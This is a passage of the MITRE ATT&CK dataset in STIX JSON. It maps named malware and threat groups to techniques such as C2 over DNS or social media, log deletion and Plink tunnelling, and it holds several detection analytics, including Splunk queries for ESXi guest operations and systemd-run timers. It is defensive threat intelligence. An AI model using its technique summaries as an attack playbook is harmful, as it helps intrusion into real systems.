            "description": "Consider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3",
            "target_ref": "attack-pattern--ce0687a0-e692-4b77-964a-0784a8e54ff1",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aeda6707-50e2-47e2-833a-18e4a5d73e88",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Cylance Dust Storm",
                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
                    "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:05:18.049Z",
            "description": "The initial beacon packet for [Mis-Type](https://attack.mitre.org/software/S0084) contains the operating system version and file system of the victim.(Citation: Cylance Dust Storm)",
            "relationship_type": "uses",
            "source_ref": "malware--e1161124-f22e-487f-9d5f-ed8efc8dcd61",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aee0e283-5bbd-4332-af46-f477d3ce38d6",
            "created": "2020-02-04T12:59:37.774Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:05:18.245Z",
            "relationship_type": "revoked-by",
            "source_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286",
            "target_ref": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aee29ae1-4544-4fc8-b30b-4717888991ca",
            "created": "2020-07-15T19:28:00.717Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Gh0stRAT ATT March 2019",
                    "description": "Quinn, J. (2019, March 25). The odd case of a Gh0stRAT variant. Retrieved July 15, 2020.",
                    "url": "https://cybersecurity.att.com/blogs/labs-research/the-odd-case-of-a-gh0strat-variant"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:39:48.512Z",
            "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) has gathered system architecture, processor, OS configuration, and installed hardware information.(Citation: Gh0stRAT ATT March 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aee478b7-c5f5-4d31-8df7-bd44fca1d677",
            "created": "2022-09-26T19:58:17.721Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Bleeping Computer Op Sharpshooter March 2019",
                    "description": "I. Ilascu. (2019, March 3). Op 'Sharpshooter' Connected to North Korea's Lazarus Group. Retrieved September 26, 2022.",
                    "url": "https://www.bleepingcomputer.com/news/security/op-sharpshooter-connected-to-north-koreas-lazarus-group/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:39:48.739Z",
            "description": "[Rising Sun](https://attack.mitre.org/software/S0448) variants can use SSL for encrypting C2 communications.(Citation: Bleeping Computer Op Sharpshooter March 2019)",
            "relationship_type": "uses",
            "source_ref": "malware--56e6b6c2-e573-4969-8bab-783205cebbbf",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aee59ac6-e6e6-4b35-b2ce-4e529d4efc4b",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:05:18.597Z",
            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) attempted to get users to launch malicious Microsoft Office attachments delivered via spearphishing emails.(Citation: Unit 42 Gorgon Group Aug 2018)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aeea094c-6ea6-4b32-b723-bb475cf42681",
            "created": "2019-12-20T13:42:28.066Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "SpectorOps Code Signing Dec 2017",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
                    "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec"
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                    "source_name": "EyeofRa Detecting Hooking June 2017",
                    "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
                    "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
                },
                {
                    "source_name": "Zairon Hooking Dec 2006",
                    "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
                    "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
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                    "source_name": "Microsoft Hook Overview",
                    "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
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                    "source_name": "PreKageo Winhook Jul 2011",
                    "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
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                    "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
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                    "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
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                    "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021.",
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                },
                {
                    "source_name": "CISA AR21-126A FIVEHANDS May 2021",
                    "description": "CISA. (2021, May 6). Analysis Report (AR21-126A) FiveHands Ransomware. Retrieved June 7, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a"
                },
                {
                    "source_name": "NCC Group Fivehands June 2021",
                    "description": "Matthews, M. and Backhouse, W. (2021, June 15). Handy guide to a new Fivehands ransomware variant. Retrieved June 24, 2021.",
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                    "description": "Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.",
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                    "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022.",
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                    "description": "Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021.",
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                    "description": "Reichel, D. (2021, February 19). IronNetInjector: Turla\u2019s New Malware Loading Tool. Retrieved February 24, 2021.",
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                    "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021.",
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                    "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021.",
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                    "description": "Gorzelany, A., Hall, J., Poggemeyer, L.. (2019, January 7). Windows Defender Application Control. Retrieved July 16, 2019.",
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                    "source_name": "TechNet Applocker vs SRP",
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                {
                    "source_name": "Secure Host Baseline EMET",
                    "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.",
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                    "source_name": "NSA MS AppLocker",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "source_name": "Palo Alto Howling Scorpius DEC 2024",
                    "description": "Zemah, Y. (2024, December 2). Threat Assessment: Howling Scorpius (Akira Ransomware). Retrieved January 8, 2025.",
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                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
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            "description": "[OnionDuke](https://attack.mitre.org/software/S0052) uses HTTP and HTTPS for C2.(Citation: F-Secure The Dukes)",
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                    "source_name": "CheckPoint Bandook Nov 2020",
                    "description": "Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021.",
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            "description": "[Bandook](https://attack.mitre.org/software/S0234) can collect information about the drives available on the system.(Citation: CheckPoint Bandook Nov 2020) ",
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                    "source_name": "Crowdstrike GTR2020 Mar 2020",
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                    "source_name": "apt41_dcsocytec_dec2022",
                    "description": "DCSO CyTec Blog. (2022, December 24). APT41 \u2014 The spy who failed to encrypt me. Retrieved June 13, 2024.",
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                },
                {
                    "source_name": "FireEye APT41 March 2020",
                    "description": "Glyer, C, et al. (2020, March). This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits. Retrieved April 28, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html"
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                {
                    "source_name": "Rostovcev APT41 2021",
                    "description": "Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.",
                    "url": "https://www.group-ib.com/blog/apt41-world-tour-2021/"
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                {
                    "source_name": "Group IB APT 41 June 2021",
                    "description": "Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.",
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                    "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.",
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                    "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.",
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                    "description": "Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html"
                },
                {
                    "source_name": "Talos Transparent Tribe May 2021",
                    "description": "Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html"
                },
                {
                    "source_name": "Unit 42 ProjectM March 2016",
                    "description": "Falcone, R. and Conant S. (2016, March 25). ProjectM: Link Found Between Pakistani Actor and Operation Transparent Tribe. Retrieved September 2, 2021.",
                    "url": "https://unit42.paloaltonetworks.com/unit42-projectm-link-found-between-pakistani-actor-and-operation-transparent-tribe/"
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            ],
            "modified": "2025-04-28T16:06:11.772Z",
            "description": "[Transparent Tribe](https://attack.mitre.org/groups/G0134) has sent spearphishing e-mails with attachments to deliver malicious payloads.(Citation: Proofpoint Operation Transparent Tribe March 2016)(Citation: Kaspersky Transparent Tribe August 2020)(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)(Citation: Unit 42 ProjectM March 2016)\t ",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--e44e0985-bc65-4a8f-b578-211c858128e3",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "id": "relationship--b4445491-4549-4333-b6b8-034ab4932295",
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                {
                    "source_name": "Unit42 RDAT July 2020",
                    "description": "Falcone, R. (2020, July 22). OilRig Targets Middle Eastern Telecommunications Organization and Adds Novel C2 Channel with Steganography to Its Inventory. Retrieved July 28, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/"
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "modified": "2025-04-28T16:06:11.945Z",
            "description": "[RDAT](https://attack.mitre.org/software/S0495) can issue SOAP requests to delete already processed C2 emails. [RDAT](https://attack.mitre.org/software/S0495) can also delete itself from the infected system.(Citation: Unit42 RDAT July 2020)\t",
            "relationship_type": "uses",
            "source_ref": "malware--4b346d12-7f91-48d2-8f06-b26ffa0d825b",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--b4447988-d4a6-4a6d-b2d0-802869a6006a",
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            ],
            "modified": "2025-04-28T16:06:12.107Z",
            "description": "Monitor newly executed processes that may leverage Microsoft Office-based applications for persistence between startups. Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously.",
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            "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
            "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            ],
            "modified": "2025-04-28T16:06:12.272Z",
            "description": "Monitor for newly constructed network connections that are sent or received by untrusted hosts. ",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--b4480a33-9011-42d8-a2d9-15748f877bed",
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            ],
            "modified": "2025-04-16T22:41:11.498Z",
            "description": "Review and monitor financial application logs for signs of financial theft, such as abnormal monetary transactions or resource balances.\n\nEmail logs may also highlight account takeovers, impersonation, or another activity that may enable monetary theft.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
            "target_ref": "attack-pattern--851e071f-208d-4c79-adc6-5974c85c78f3",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
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            "revoked": false,
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                {
                    "source_name": "Zscaler Pikabot 2023",
                    "description": "Brett Stone-Gross & Nikolaos Pantazopoulos. (2023, May 24). Technical Analysis of Pikabot. Retrieved July 12, 2024.",
                    "url": "https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot"
                },
                {
                    "source_name": "Elastic Pikabot 2024",
                    "description": "Daniel Stepanic & Salim Bitam. (2024, February 23). PIKABOT, I choose you!. Retrieved July 12, 2024.",
                    "url": "https://www.elastic.co/security-labs/pikabot-i-choose-you"
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            ],
            "modified": "2025-04-16T22:41:11.705Z",
            "description": "[Pikabot](https://attack.mitre.org/software/S1145) uses base64 encoding in conjunction with symmetric encryption mechanisms to obfuscate command and control communications.(Citation: Zscaler Pikabot 2023)(Citation: Elastic Pikabot 2024)",
            "relationship_type": "uses",
            "source_ref": "malware--02739f57-7585-4319-acd3-794ae8ff3a70",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
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            "spec_version": "2.1",
            "id": "relationship--b44bf5b1-42f8-4c70-9108-9699e8fa66ec",
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            "revoked": false,
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                {
                    "source_name": "Cybereason Chaes Nov 2020",
                    "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021.",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf"
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            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:41:11.899Z",
            "description": "Some versions of [Chaes](https://attack.mitre.org/software/S0631) stored its instructions (otherwise in a `instructions.ini` file) in the Registry.(Citation: Cybereason Chaes Nov 2020) ",
            "relationship_type": "uses",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--b44e59dd-0152-42ad-825b-5249a012711d",
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            "revoked": false,
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                {
                    "source_name": "Google Cloud Threat Intelligence ESXi Hardening 2023",
                    "description": "Alex Marvi, Greg Blaum, and Ron Craft. (2023, June 28). Detection, Containment, and Hardening Opportunities for Privileged Guest Operations, Anomalous Behavior, and VMCI Backdoors on Compromised VMware Hosts. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/vmware-detection-containment-hardening"
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            "modified": "2025-04-16T22:41:12.085Z",
            "description": "Monitor for Guest Operations API calls executed from the ESXi host to a guest VM, especially:\n- `StartProgramInGuest`\n- `ListProcessesInGuest`\n- `InitiateFileTransferFromGuest`\n- `ListFileInGuest`\n\nSudden usage from ESXi management accounts (especially out of hours). Use of Guest Ops on VMs where `vmtoolsd` is not typically used or disabled. Operations from unusual ESXi IPs or using credentials not normally associated with VM management. (Citation: Google Cloud Threat Intelligence ESXi Hardening 2023)\n\nAnalytic 1 - ESXi Abuse\n\n<code> sourcetype=\"vmware:log\"\n| eval guest_operation=coalesce('eventMessage', 'message')\n| search guest_operation=\"StartProgramInGuest\" OR guest_operation=\"ListProcessesInGuest\" OR guest_operation=\"ListFileInGuest\" OR guest_operation=\"InitiateFileTransferFromGuest\"\n| stats count by host, vm_name, user, guest_operation, _time\n| eventstats count as total_operations by host\n| where total_operations > 10 OR (user!=\"expected_admin\" AND total_operations > 1)\n| table _time, host, vm_name, user, guest_operation</code>\n",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa",
            "target_ref": "attack-pattern--31e5011f-090e-45be-9bb6-17a1c5e8219b",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--b45c7b78-55c7-4418-ab03-9f805de7376d",
            "created": "2018-10-17T00:14:20.652Z",
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            "external_references": [
                {
                    "source_name": "Talos ROKRAT",
                    "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.",
                    "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html"
                },
                {
                    "source_name": "Securelist ScarCruft May 2019",
                    "description": "GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019.",
                    "url": "https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/"
                },
                {
                    "source_name": "Volexity InkySquid RokRAT August 2021",
                    "description": "Cash, D., Grunzweig, J., Adair, S., Lancaster, T. (2021, August 25). North Korean BLUELIGHT Special: InkySquid Deploys RokRAT. Retrieved October 1, 2021.",
                    "url": "https://www.volexity.com/blog/2021/08/24/north-korean-bluelight-special-inkysquid-deploys-rokrat/"
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            ],
            "modified": "2025-04-28T16:06:12.768Z",
            "description": "[ROKRAT](https://attack.mitre.org/software/S0240) has used legitimate social networking sites and cloud platforms (including but not limited to Twitter, Yandex, Dropbox, and Mediafire) for C2 communications.(Citation: Talos ROKRAT)(Citation: Securelist ScarCruft May 2019)(Citation: Volexity InkySquid RokRAT August 2021)",
            "relationship_type": "uses",
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            "x_mitre_deprecated": false,
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            "modified": "2025-04-28T16:06:12.942Z",
            "description": "The removal of the\u00a0<code>com.apple.quarantine</code>\u00a0flag by a user instead of the operating system is a suspicious action and should be examined further. Also monitor software update frameworks that may strip this\u00a0flag when performing updates.",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--b45e744d-f9c3-4469-a410-137f1802536f",
            "created": "2020-05-20T19:54:06.589Z",
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                {
                    "source_name": "TrendMicro Tropic Trooper May 2020",
                    "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020.",
                    "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf"
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            "description": "[USBferry](https://attack.mitre.org/software/S0452) can collect information from an air-gapped host machine.(Citation: TrendMicro Tropic Trooper May 2020)\t",
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        },
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            "modified": "2025-04-28T16:06:13.284Z",
            "description": "Use process monitoring to monitor the execution and arguments of InstallUtil.exe. Compare recent invocations of InstallUtil.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity",
            "relationship_type": "detects",
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            "x_mitre_deprecated": false,
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        },
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            "id": "relationship--b4642810-53c4-4ff2-859f-f4b707a36097",
            "created": "2022-04-16T21:30:58.828Z",
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            "revoked": false,
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                {
                    "source_name": "Talos TinyTurla September 2021",
                    "description": "Cisco Talos. (2021, September 21). TinyTurla - Turla deploys new malware to keep a secret backdoor on victim machines. Retrieved December 2, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/09/tinyturla.html"
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            "description": "[TinyTurla](https://attack.mitre.org/software/S0668) can go through a list of C2 server IPs and will try to register with each until one responds.(Citation: Talos TinyTurla September 2021)",
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            "created": "2023-10-02T17:38:12.273Z",
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                {
                    "source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023",
                    "description": "FBI et al. (2023, May 9). Hunting Russian Intelligence \u201cSnake\u201d Malware. Retrieved June 8, 2023.",
                    "url": "https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"
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            "modified": "2025-04-16T22:41:12.898Z",
            "description": "[Uroburos](https://attack.mitre.org/software/S0022) has the ability to communicate over custom communications methodologies that ride over common network protocols including raw TCP and UDP sockets, HTTP, SMTP, and DNS.(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)",
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            "description": "Limit the number of accounts with permissions to create other accounts. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
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                    "description": "Singer, G. (2020, April 3). Threat Alert: Kinsing Malware Attacks Targeting Container Environments. Retrieved April 1, 2021.",
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                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
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                    "description": "Cj Arsley Mateo, Darrel Tristan Virtusio, Sarah Pearl Camiling, Andrei Alimboyao, Nathaniel Morales, Jacob Santos, Earl John Bareng. (2024, July 19). Play Ransomware Group\u2019s New Linux Variant Targets ESXi, Shows Ties With Prolific Puma. Retrieved March 26, 2025.",
                    "url": "https://www.trendmicro.com/en_us/research/24/g/new-play-ransomware-linux-variant-targets-esxi-shows-ties-with-p.html"
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                    "source_name": "Elastic Suspicious Termination of ESXI Process",
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                    "url": "https://www.elastic.co/guide/en/security/current/suspicious-termination-of-esxi-process.html"
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                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
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                    "source_name": "Talos Oblique RAT March 2021",
                    "description": "Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html"
                },
                {
                    "source_name": "Talos Transparent Tribe May 2021",
                    "description": "Malhotra, A. et al. (2021, May 13). Transparent Tribe APT expands its Windows malware arsenal. Retrieved September 2, 2021.",
                    "url": "https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html"
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            "description": "[Transparent Tribe](https://attack.mitre.org/groups/G0134) has directed users to open URLs hosting malicious content.(Citation: Talos Oblique RAT March 2021)(Citation: Talos Transparent Tribe May 2021)",
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                    "description": "Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.",
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            "description": "[DUSTTRAP](https://attack.mitre.org/software/S1159) can delete infected system log information.(Citation: Google Cloud APT41 2024)",
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            "description": "Monitor executed commands and arguments the 'systemd-run' utility as it may be used to create timers.\n\nAnalytic 1 - Look for systemd-run\u00a0execution with arguments indicative of timer creation.\n\n<code>sourcetype=linux_logs (command=\"systemctl*\" OR command=\"systemd-run*\") </code>",
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                {
                    "source_name": "Dell TG-3390",
                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.",
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            "description": "[PlugX](https://attack.mitre.org/software/S0013) can be configured to use DNS for command and control.(Citation: Dell TG-3390)",
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                {
                    "source_name": "Talos Bisonal Mar 2020",
                    "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022.",
                    "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html"
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                {
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                    "description": "Ventura, V. (2021, September 16). Operation Layover: How we tracked an attack on the aviation industry to five years of compromise. Retrieved September 15, 2023.",
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                },
                {
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            "description": "Consider removing the local Administrators group from the list of groups allowed to log in through RDP.",
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            "x_mitre_deprecated": false,
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            "id": "relationship--b6c175a3-40a7-4711-886f-c80cb6cd8360",
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            "revoked": false,
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                    "description": "Park, S. (2024, June 27). Kimsuky deploys TRANSLATEXT to target South Korean academia. Retrieved October 14, 2024.",
                    "url": "https://www.zscaler.com/blogs/security-research/kimsuky-deploys-translatext-target-south-korean-academia#technical-analysis"
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            "modified": "2025-04-16T22:41:46.392Z",
            "description": "[TRANSLATEXT](https://attack.mitre.org/software/S1201) has exfiltrated collected email addresses to the C2 server.(Citation: Zscaler Kimsuky TRANSLATEXT) ",
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                    "source_name": "FireEye APT34 July 2019",
                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html"
                },
                {
                    "source_name": "FireEye APT34 Webinar Dec 2017",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east"
                },
                {
                    "source_name": "Symantec Crambus OCT 2023",
                    "description": "Symantec Threat Hunter Team. (2023, October 19). Crambus: New Campaign Targets Middle Eastern Government. Retrieved November 27, 2024.",
                    "url": "https://www.security.com/threat-intelligence/crambus-middle-east-government"
                },
                {
                    "source_name": "Unit42 OilRig Playbook 2023",
                    "description": "Unit42. (2016, May 1). Evasive Serpens Unit 42 Playbook Viewer. Retrieved February 6, 2023.",
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            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used the Plink utility and other tools to create tunnels to C2 servers.(Citation: Unit42 OilRig Playbook 2023)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT34 July 2019)(Citation: Symantec Crambus OCT 2023)",
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            "x_mitre_deprecated": false,
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            "revoked": false,
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                {
                    "source_name": "Lumen KVBotnet 2023",
                    "description": "Black Lotus Labs. (2023, December 13). Routers Roasting On An Open Firewall: The KV-Botnet Investigation. Retrieved June 10, 2024.",
                    "url": "https://blog.lumen.com/routers-roasting-on-an-open-firewall-the-kv-botnet-investigation/"
